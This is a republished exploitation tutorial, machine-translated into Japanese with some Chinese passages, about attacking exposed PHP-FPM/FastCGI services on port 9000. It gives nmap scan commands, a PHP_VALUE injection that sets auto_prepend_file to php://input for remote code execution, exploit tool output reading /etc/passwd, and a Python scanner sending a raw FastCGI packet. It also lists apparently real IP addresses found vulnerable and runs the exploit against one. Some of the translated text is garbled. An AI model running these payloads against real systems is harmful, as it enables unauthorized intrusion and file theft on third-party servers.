この記事では主に、fastcgi ファイル読み取りの脆弱性に対する Python スキャン スクリプトを紹介します。必要な友人は参照してください。
PHP FastCGI のリモート利用
FastCGI と言えば、これが現在最も一般的な Web サーバーの動的スクリプトであることは誰もが知っています。実行モデルの。現時点では基本的にすべてのWebスクリプトがこのモードに対応しており、一部の種類のスクリプト(ROR、Pythonなど)でもこのモードのみとなっています。
FastCGI の主な目的は、Web サーバーと動的言語の実行を 2 つの異なる常駐プロセスに分離することです。Web サーバーが動的スクリプトのリクエストを受信すると、そのリクエストをネットワーク経由で fcgi プロセスに転送します。 fcgi プロトコルと fcgi プロセス 処理後、結果は Web サーバーに送信され、Web サーバーはブラウザに結果を出力します。このモデルは、リクエストごとに CGI を再起動する必要がなく、Web サーバーにスクリプト パーサーを組み込む必要もないため、拡張性が高く、動的スクリプト リクエストの数が増加した場合は、バックに別のクラスターをセットアップできます。 -end fcgi プロセス。サービスを提供すると保守性が大幅に向上します。これが、fcgi などの類似モデルが人気がある理由の 1 つです。
しかし、このモデルだからこそ、いくつかの問題も生じます。たとえば、昨年 80sec によってリリースされた「nginx ファイル解析の脆弱性」は、実際には、fcgi と Web サーバーの間でのスクリプトのパスレベルのパラメーターの理解の違いによって引き起こされる問題です。さらに、fcgi と Web サーバーはネットワークを介して通信するため、現在、fcgi をパブリック ネットワークに直接バインドするクラスターが増えており、誰もがそれにアクセスできます。これは、誰でも Web サーバーになりすまして、実行したいスクリプト コンテンツを fcgi に実行させることができることを意味します。
OK、上記は背景原理の説明です。私が最も使い慣れている PHP を例として説明します。
php の fastcgi は現在、通常 FPM と呼ばれています。デフォルトのリスニングポートはポート 9000 です。ここで nmap を使用して直接スキャンしてみましょう:
nmap -sV -p 9000 --open x.x.x.x/24
なぜ sV を使用するのでしょうか?ポート 9000 には他のサービスが存在する可能性があるため、最初に nmap の指紋認識を使用してサービスを識別する必要があります。
[root@test:~/work/fcgi]#nmap -sV -p 9000 --open 173.xxx.xxx.1/24 Starting Nmap 6.01 ( http://nmap.org ) at 2012-09-14 20:06 EDTNmap scan report for abc.net (173.xxx.xxx.111)Host is up (0.0095s latency).PORT STATE SERVICE VERSION9000/tcp open ssh OpenSSH 5.3p1 Debian 3ubuntu7 (protocol 2.0)Service Info: OS: Linux; CPE: cpe:/o:linux:kernel Nmap scan report for abc.com (173.xxx.xxx.183)Host is up (0.0096s latency).PORT STATE SERVICE VERSION9000/tcp open tcpwrapped Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .Nmap done: 256 IP addresses (198 hosts up) scanned in 7.70 seconds
ランダムにスキャンされ、運が良ければ C セグメントに 2 つの 9000 ポートが開いていますが、そのうちの 1 つは管理者によって変更された sshd で、もう 1 つは私たちのターゲットである tcpwrapped です。
テストのために、相手へのリクエストを直接開始する fastcgi クライアント プログラムを作成しました。オープン fastcgi を使用すると何ができるでしょうか?これは通常の http リクエストとは少し異なります。いくつかの fastcgi パラメータを提供するために、Web サーバーはリクエストを転送するたびに FASTCGI_PARAMS パッケージを通じてそれらのパラメータを fcgi プロセスに渡します。本来、これらのパラメータはユーザーが制御できませんが、この fcgi は外部に公開されているため、これらのパラメータを設定して、他の方法では実行できないことを実行できることを意味します:
[root@test:~/work/fcgi]#./fcgi_exp read 173.xxx.xxx.183 9000 /etc/issue X-Powered-By: PHP/5.3.2-1ubuntu4.9Content-type: text/html www.jb51.net Ubuntu 10.04.3 LTS \n \l
Read /etc/issue file 、これが Ubuntu 10.04 マシンであることがわかります。これはどのようにして達成されるのでしょうか?実際、DOCUMENT_ROOT を FASTCGI_PARAMS の「/」ルート ディレクトリに設定し、次に SCRIPT_FILENAME を /etc/issue に設定するだけです。このようにして、アクセス許可がある限り、このマシン上の任意のファイルを読み取るように fcgi を制御できます。実際には、これは読み取りではなく、phpを使用して実行します。
この脆弱性は実行されるため、実際には通常の LFI 脆弱性と似ています。このマシン上のログ パス、または内容を制御できるファイル パスがわかっていれば、任意のコードを実行できます。
それで終わりですか?いいえ、ログを使用したり、他のファイル パスを推測してコードを実行したとしても、送信したコードを実行できるようにするもっと便利な方法はありますか?
ここでも多くの方法を見つけましたが、私が最初に考えたのは、envパラメータを渡してから/proc/self/environファイルを実行することでした。残念ながら、php-fpmは私のファイルを受け取った後にのみメモリ内の環境変数を変更しました。パラメータ値。このファイルは直接変更されません。したがって、使用できません。さらに、この方法はすべてのシステムに共通ではありません。
以前書いた「CVE-2012-1823(PHP-CGI RCE)のPoCと技術的課題」では、php.iniのauto_prepend_fileの値を動的に変更することで、リモートから任意のコマンドを実行する方法もあります。書類。 LFI の脆弱性を RFI に変えると、悪用できる領域が大幅に増加します。
fastcgi は、PHP 構成の同様の動的変更もサポートしていますか?情報を確認したところ、FPM は元々サポートされていなかったことがわかりました。開発者がバグを提出して初めて、PHP 担当者はこの機能を PHP 5.3.3 のソース コードに統合しました。
通常、FASTCGI_PARAMS を設定すると、PHP_ADMIN_VALUE と PHP_VALUE を使用して php 設定を動的に変更できます。
env["REQUEST_METHOD"] = "POST"
env["PHP_VALUE"] = "auto_prepend_file = php://input"
env["PHP_ADMIN_VALUE"] = "allow_url_include = Onndisable_functions = nsafe_mode = Off"
エクスプロイトの実行php://input にアクセスし、POST のコンテンツに php コードを記述して、直接実行できるようにします。
[root@test:~/work/fcgi]#./fcgi_exp system 127.0.0.1 9000 /tmp/a.php "id; uname -a" X-Powered-By: PHP/5.5.0-devContent-type: text/html uid=500(www) gid=500(www) groups=500(www)Linux test 2.6.18-308.13.1.el5 #1 SMP Tue Aug 21 17:51:21 EDT 2012 x86_64 x86_64 x86_64 GNU/Linux
细心者会注意到这里有些变化,我换了本机做测试。因为开始发现的那台机器php版本是5.3.2,正好低于5.3.3,因此无法利用修改ini设置去执行代码,只能去猜路径。
另一个变化是,我这里去读取/tmp/a.php这个php文件,而不是去读取/etc/issue。因为在5.3.9开始,php官方加入了一个配置"security.limit_extensions",默认状态下只允许执行扩展名为".php"的文件。因此你必须找到一个已经存在的php文件。而这个设置是php-fpm.conf里的,无法通过修改ini的配置去覆盖它。如果谁能有更好的办法可以绕过这个限制,请告诉我。
ok,目前为止对php-fpm的所有测试已经结束,我们利用一个对外开放的fcgi进程,已经可以直接获取shell了。各位不如也去研究一下其他fcgi,或许会有更多发现。
如何防止这个漏洞?很简单,千万不要把fcgi接口对公网暴露。同时也希望将来fcgi会有身份认证机制。
任何系统上编译,请安装golang之后,执行:
go build fcgi_exp.go
fastcgi文件读取漏洞python扫描脚本
fastcgi文件读取(代码执行)是个很老的漏洞,漏洞描述: PHP FastCGI 的远程利用
利用该漏洞可读取系统文件,甚至有一定几率成功执行代码。 下载上述文章中提到的: fcgi_exp
协议细节其实我已不关心,只需要一个python的扫描脚本。于是拿wireshark抓了下GaRY的程序,写一小段代码。
外网暴露9000端口的机器自然是非常非常少的,但内网可就说不定了。
import socket import sys def test_fastcgi(ip): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM); sock.settimeout(5.0) sock.connect((ip, 9000)) data = """ 01 01 00 01 00 08 00 00 00 01 00 00 00 00 00 00 01 04 00 01 00 8f 01 00 0e 03 52 45 51 55 45 53 54 5f 4d 45 54 48 4f 44 47 45 54 0f 08 53 45 52 56 45 52 5f 50 52 4f 54 4f 43 4f 4c 48 54 54 50 2f 31 2e 31 0d 01 44 4f 43 55 4d 45 4e 54 5f 52 4f 4f 54 2f 0b 09 52 45 4d 4f 54 45 5f 41 44 44 52 31 32 37 2e 30 2e 30 2e 31 0f 0b 53 43 52 49 50 54 5f 46 49 4c 45 4e 41 4d 45 2f 65 74 63 2f 70 61 73 73 77 64 0f 10 53 45 52 56 45 52 5f 53 4f 46 54 57 41 52 45 67 6f 20 2f 20 66 63 67 69 63 6c 69 65 6e 74 20 00 01 04 00 01 00 00 00 00 """ data_s = '' for _ in data.split(): data_s += chr(int(_,16)) sock.send(data_s) try: ret = sock.recv(1024) if ret.find(':root:') > 0: print ret print '%s is vulnerable!' % ip return True else: return False except Exception, e: pass sock.close() if __name__ == '__main__': if len(sys.argv) == 1: print sys.argv[0], '[ip]' else: test_fastcgi(sys.argv[1])
通过快速扫描9000端口,可以发现几个存在漏洞的机器:
110.164.68.137 is vul ! 110.164.68.148 is vul ! 110.164.68.149 is vul ! 110.164.68.151 is vul ! 110.164.68.154 is vul ! 110.164.68.155 is vul !
fcgi_exp.exe read 110.164.68.137 9000 /etc/passwd
以上がfastcgi ファイル読み取りの脆弱性に対する Python スキャン スクリプトの分析例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。